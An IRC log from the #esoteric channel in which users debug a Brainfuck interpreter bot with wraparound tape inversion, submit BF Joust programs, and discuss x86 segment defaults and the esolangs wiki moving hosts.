:myname!~myname@84.200.43.57 PRIVMSG #esoteric :make a +, that is now a - < 1395609861 229773 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :making the first cell to 0 < 1395609865 210607 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :leaving the rest at 1 < 1395609875 678360 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i swap em < 1395609881 231054 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :if you negate values on wraparound, |0| 255 255 255 ... would make sense. < 1395609882 563378 :passwordBOT!~passwordB@197.78.154.136 QUIT :Read error: Connection reset by peer < 1395609944 32108 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok mem size is now 32 cells < 1395609946 102957 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395609965 964330 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmob:-<-<-<-< < 1395609969 493482 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobdump: < 1395609970 191399 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 |0| 1 1 1 < 1395609983 3723 :password2!~password@197.78.154.136 PRIVMSG #esoteric :seems correct to me < 1395609990 526168 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bdmod:+++++++++++++++++++++++++++++++++ < 1395609994 525857 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmod:+++++++++++++++++++++++++++++++++ < 1395610004 804028 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395610009 22766 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:+++++++++++++++++++++++++++++++++ < 1395610010 301474 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|223| < 1395610017 768670 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what < 1395610022 765818 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cool. < 1395610032 590232 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :that is not the right thing < 1395610043 334025 :password2!~password@197.78.154.136 PRIVMSG #esoteric :mmm ,the polarity does not reset < 1395610050 567532 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hang on ... < 1395610055 855602 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol :D < 1395610083 696482 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395610094 881689 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395610099 118388 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bfmob: +[>+] < 1395610102 590669 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395610102 819134 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hopefully everything will work now < 1395610106 157011 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bfmob: +[>+] < 1395610112 526328 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobdump: < 1395610113 193882 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 < 1395610119 770078 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :now that looks right < 1395610129 726307 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bfmob: +[>+]-[>-] < 1395610130 497690 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 < 1395610147 453548 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yay < 1395610154 730612 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:+[>+]>[>+] < 1395610158 806118 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 1 |0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 < 1395610173 304326 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:[+[>+]>[>+]] < 1395610175 207484 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395610185 875287 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:+[>+][>[>+]] < 1395610186 245990 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 < 1395610216 580195 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :okay < 1395610246 295440 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bfmob:+[>+]>[[->+<]>] < 1395610254 426278 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 0 |108| 179 < 1395610256 54895 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh dear < 1395610267 619367 :password2!~password@197.78.154.136 PRIVMSG #esoteric :that may have been inf loop < 1395610267 833597 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oops. < 1395610270 440662 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it was. < 1395610284 571354 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmodsett:annon < 1395610292 583915 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobsett:annon < 1395610296 907960 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :two t's? < 1395610299 603800 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bfmob:+[>+]<[>[-<+>]<<] < 1395610300 8761 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| 31 < 1395610308 725413 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yay < 1395610310 109614 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :32, tape length? < 1395610313 301222 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yes < 1395610313 538231 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobset:annon < 1395610320 393840 :password2!~password@197.78.154.136 PRIVMSG #esoteric :lol , not two < 1395610341 61224 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :< password2> ok mem size is now 32 cells < 1395610502 995468 :password2!~password@197.78.154.136 PRIVMSG #esoteric :do you want me to make it 255 again? < 1395610642 903515 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :if I do something like mov [boner], ax < 1395610648 150644 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :With a boner offset < 1395610652 540688 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :What's the segment used? < 1395610655 489359 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Is it DS? < 1395610669 522916 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Like by default < 1395610701 130779 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1395610728 954717 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Thanks < 1395610731 813156 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ds is the default segment for most loads/stores < 1395610736 872610 :passwordBOT!~passwordB@197.78.154.136 QUIT :Quit: Good < 1395610755 393044 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395610772 564804 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What about C3? < 1395610782 206239 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmoblist: < 1395610803 727081 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmoblist: < 1395610805 552492 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Commands are +bfmoblist: +bfmob: +bfmobreset: +bfmobdump: +bfmobdumpascii:. bf mobius invert -+ upon tape looping. because you're incrementing "from the other side"...aka decrementing < 1395610807 292981 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :boner offset sounda durty < 1395610820 487893 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395610867 518954 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: I think something like mov [esp], ax will use ss instead of ds by default, but I'm not certain < 1395610882 942532 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I didn't know that DOS Navigator is open-source now, until I checked. I used that program some time ago! < 1395610931 78454 :potato111!~potato558@105.184.72.37 JOIN :#esoteric < 1395610934 375894 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also for references involving bp/ebp, which might conceivably confuse someone using it as a general register. < 1395610937 750300 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: oh, bp / ebp also... efb < 1395610985 604295 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and string instructions have their own rules, e.g. movsb moves from ds:si to es:di < 1395610988 329177 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://stackoverflow.com/questions/3948961/what-segment-is-used-by-default-in-x86-indirect-addressing < 1395611084 570207 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I made up one other chess variant, but it is currently hidden pending review. < 1395611521 145304 :Koen_!~Koen@vbo91-6-78-245-243-132.fbx.proxad.net JOIN :#esoteric < 1395611600 161652 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395611996 678197 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395612079 496324 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395612402 596768 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :Hey web programmers, an interesting thing is happening to me. < 1395612415 942142 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :I tried to get on Something Awful and a notice popped up from Greyhound that the site is blocked. < 1395612433 536012 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe they think there's something awful there < 1395612435 114193 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :The interesting part is, I'm sitting in a library and the nearest Greyhound stop is miles away. < 1395612466 106350 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1395612498 969244 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :i was riding the bus yesterday... did they like, censor my computer somehow < 1395612516 402456 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :force reloading fixes it... god, what the fuck, though? < 1395612531 145517 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Browser caching, maybe? < 1395612551 664450 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :I didn't try accessing something awful from the bus, though. < 1395612563 987629 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395612591 111633 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395612620 459956 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :One of the websites I use has a truncated javascript file permanently stuck in the browser cache, somehow < 1395612638 829270 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Solved by using only that website with a different profile < 1395612653 569697 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Gregor: are you Scott Adams?/ < 1395612670 325708 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Sgeo, I don't know but I am Charles Adams < 1395612851 992150 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395612863 167124 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 246 seconds < 1395613425 61177 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: morning. < 1395613468 395541 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, morning < 1395613479 457798 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How are you? < 1395613495 959405 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! < 1395613498 962285 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :! < 1395613579 869223 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boilyn matanebin < 1395613660 609048 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it's evening here < 1395613795 449783 :aloril!~aloril@dsl-tkubrasgw2-54f80b-12.dhcp.inet.fi QUIT :Ping timeout: 264 seconds < 1395613811 251675 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : <-- how well it is doing compared to the programs on the size 50 hill. i don't think any of those have managed to get onto the hill yet. < 1395613814 680274 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395613819 593449 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : what does the score mean? <-- how well it is doing compared to the programs on the size 50 hill. i don't think any of those have managed to get onto the hill yet. < 1395613855 466250 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395613860 457776 :password2!~password@197.78.154.136 PRIVMSG #esoteric :that kinda make sense < 1395613884 636400 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: of course it's evening here, but it's morning. < 1395613886 700547 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i forgot to paste the quote (which i'm always doing last because it sometimes ends up containing a newline) < 1395613909 572778 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: doing well. I was with girlfriend. < 1395613916 960487 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: ???????????????????????????????????????? < 1395613924 921141 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(¿ also, to balance the ?) < 1395613926 909326 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, ooh that is good < 1395613938 954600 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: wanna go canoe the milk river with me < 1395613940 914933 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :password2: the top score is usually around 50 or so iirc < 1395613945 677276 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!help bfjoust < 1395613946 440 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Sorry, I have no help for bfjoust! < 1395613949 838806 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!help < 1395613950 228981 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1395613956 930838 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!help languages < 1395613957 211815 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh. < 1395613961 282561 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`relcome HackEgo < 1395613964 773101 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm it doesn't say there < 1395613966 591502 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395613970 414344 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :NOOOOOOOOOOOOOOOO! < 1395613980 109824 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: well at least it's _there_ < 1395613985 898275 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: is it cold outside where the milk river is? < 1395613995 212719 :password2!~password@197.78.154.136 PRIVMSG #esoteric :I'm adding input to my bf interpreter < 1395614006 183683 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: hm. let me rephrase the noooo. “MAYBEEEEEEEEEEEEEEEE!” < 1395614104 892115 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: not in the summer! < 1395614108 759595 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :password2: http://codu.org/eso/bfjoust/report.txt is the current, top is just above 50 < 1395614151 182101 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1395614157 6128 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i guess the bottom three are from today's experimenting < 1395614157 402785 :password2!~password@197.78.154.136 PRIVMSG #esoteric :how does a program get "up the hill" ? < 1395614179 619197 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :they don't climb < 1395614183 60274 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :well < 1395614183 247172 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :password2: when you submit one, it fights against all the ones already there < 1395614189 497410 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :they could but they usually don't < 1395614197 879875 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run ls < 1395614198 250334 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395614199 455948 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::/ < 1395614203 329249 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run echo hi < 1395614203 608080 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395614216 748132 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :`help < 1395614216 993202 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1395614217 932955 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and then the scores are recalculated < 1395614240 251424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(using the points already stored, for fights between those already there) < 1395614254 289493 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395614261 39226 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I wonder is we could manage to get fungot to submit a valid non-zero-scoring bfjoust program. < 1395614261 265914 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: when old age shall this generation waste, but did not become terrified. it is amusing to reflect that the silent pursuing gugs would not be the first to be approached by the several outsiders who took advantage of the fnord < 1395614271 490611 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the points are calculated by the big table on bottom < 1395614439 383500 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :!bfjoust >>>>>>>>>[[-][-.]>] < 1395614439 700768 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ < 1395614454 455276 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :!bfjoust dunno >>>>>>>>>[[-][-.]>] < 1395614457 479777 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for Taneb_dunno: 6.5 < 1395614457 689196 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395614463 709392 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Well, that wasn't awful < 1395614479 492981 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,>.!fF0F < 1395614480 827280 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 |0| < 1395614515 268873 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+,,>.!FF0F < 1395614516 9230 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :what do . and , do in joust again? < 1395614516 196924 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < 1395614516 197071 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 |0| < 1395614541 931233 :password2!~password@197.78.154.136 PRIVMSG #esoteric :dammit , it just worked < 1395614546 140398 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bicyclidine: “.” is wait. < 1395614548 301591 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,.>,.!3132 < 1395614549 194206 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: 12 < 1395614549 381599 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :49 |50| < 1395614607 697852 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+,,!FF < 1395614608 408553 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395614612 411796 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+,!FF < 1395614612 985590 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395614630 775510 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,[.,]!Hm... < 1395614634 82111 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395614647 839838 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :NOPE < 1395614653 945432 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Bicyclidine: . is NOP, , is comment < 1395614656 535476 :password2!~password@197.78.154.136 PRIVMSG #esoteric :it seems i am stil making an error somewhere in my code < 1395614660 217806 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bfreset:,[.,]!Hm... < 1395614736 807745 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,>,>,>,.<.<.!Testing < 1395614737 464845 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < 1395614737 659575 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 |0| < 1395614760 554954 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :lots of them < 1395614766 332850 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,.!Testing < 1395614768 353891 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < 1395614768 543198 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395614786 310311 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++. < 1395614790 664313 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < < 1395614790 851966 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|60| < 1395614801 319984 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^bf ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++. < 1395614801 507105 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :< < 1395614806 550398 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well that one worked < 1395614824 241391 :password2!~password@197.78.154.136 PRIVMSG #esoteric :output is sorted , its input that i m messing up < 1395614863 639921 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^bf ,.,.,.!1234567890 < 1395614863 865203 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :123 < 1395614875 655411 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395614876 602545 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395614884 76301 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wrong bot < 1395614888 293166 :password2!~password@197.78.154.136 PRIVMSG #esoteric :heh < 1395614904 106119 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395614913 663000 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,.,.,.!1234567890 < 1395614916 525663 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|86| < 1395614942 650426 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,>.,>.,>.!1234567890 < 1395614943 339030 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < 1395614943 526660 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :18 52 86 |0| < 1395614952 488874 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: esolangs.org points to the right place for me now < 1395614959 385802 :password2!~password@197.78.154.136 PRIVMSG #esoteric :it takes in hex , btw < 1395614968 361349 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,>.,>.,>.!ffffff < 1395614969 35807 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Output is: < 1395614969 227910 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :0 0 0 |0| < 1395614976 748455 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :+bf:,>,>,>,!1234567890 < 1395614977 128084 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :18 52 86 |0| < 1395614986 961948 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: also you might want to add something about hosting the wiki somewhere so people can bug you :p < 1395614990 205119 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395614993 321080 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :password2: oh hex, how useless < 1395615004 84205 :password2!~password@197.78.154.136 PRIVMSG #esoteric :shhh < 1395615004 271377 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ascii>hex < 1395615016 234648 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ascii only goes to 127 < 1395615016 423355 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395615037 861346 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615042 651222 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615043 217202 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395615049 781487 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott: I've still got 42575 seconds left of the old IP address on my nearest DNS server. < 1395615050 261870 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :imo extend to utf-8. < 1395615068 633855 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :password2: extended ASCII < 1395615083 481961 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is the old address down, because the wiki loaded fine here < 1395615087 150960 :passwordBOT!~passwordB@197.78.154.136 QUIT :Client Quit < 1395615097 489569 :password2!~password@197.78.154.136 PRIVMSG #esoteric :almost there < 1395615106 381825 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395615119 901767 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615121 801232 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615122 80855 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395615129 92875 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Last I heard, it was read-only but not down. < 1395615148 209366 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395615159 145041 :password2!~password@197.78.154.136 PRIVMSG #esoteric :sigh < 1395615166 321730 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395615168 911830 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: yeah, I'm surprised I got it so fast < 1395615179 531989 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: you can tell by going to http://esolangs.org/wiki/Special:RecentChanges and seeing if the latest change is by me. < 1395615188 844253 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615189 372278 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:,!1F < 1395615189 720619 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|31| < 1395615194 152287 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1395615204 303821 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: well it is < 1395615210 329847 :password2!~password@197.78.154.136 PRIVMSG #esoteric :there we go < 1395615232 296345 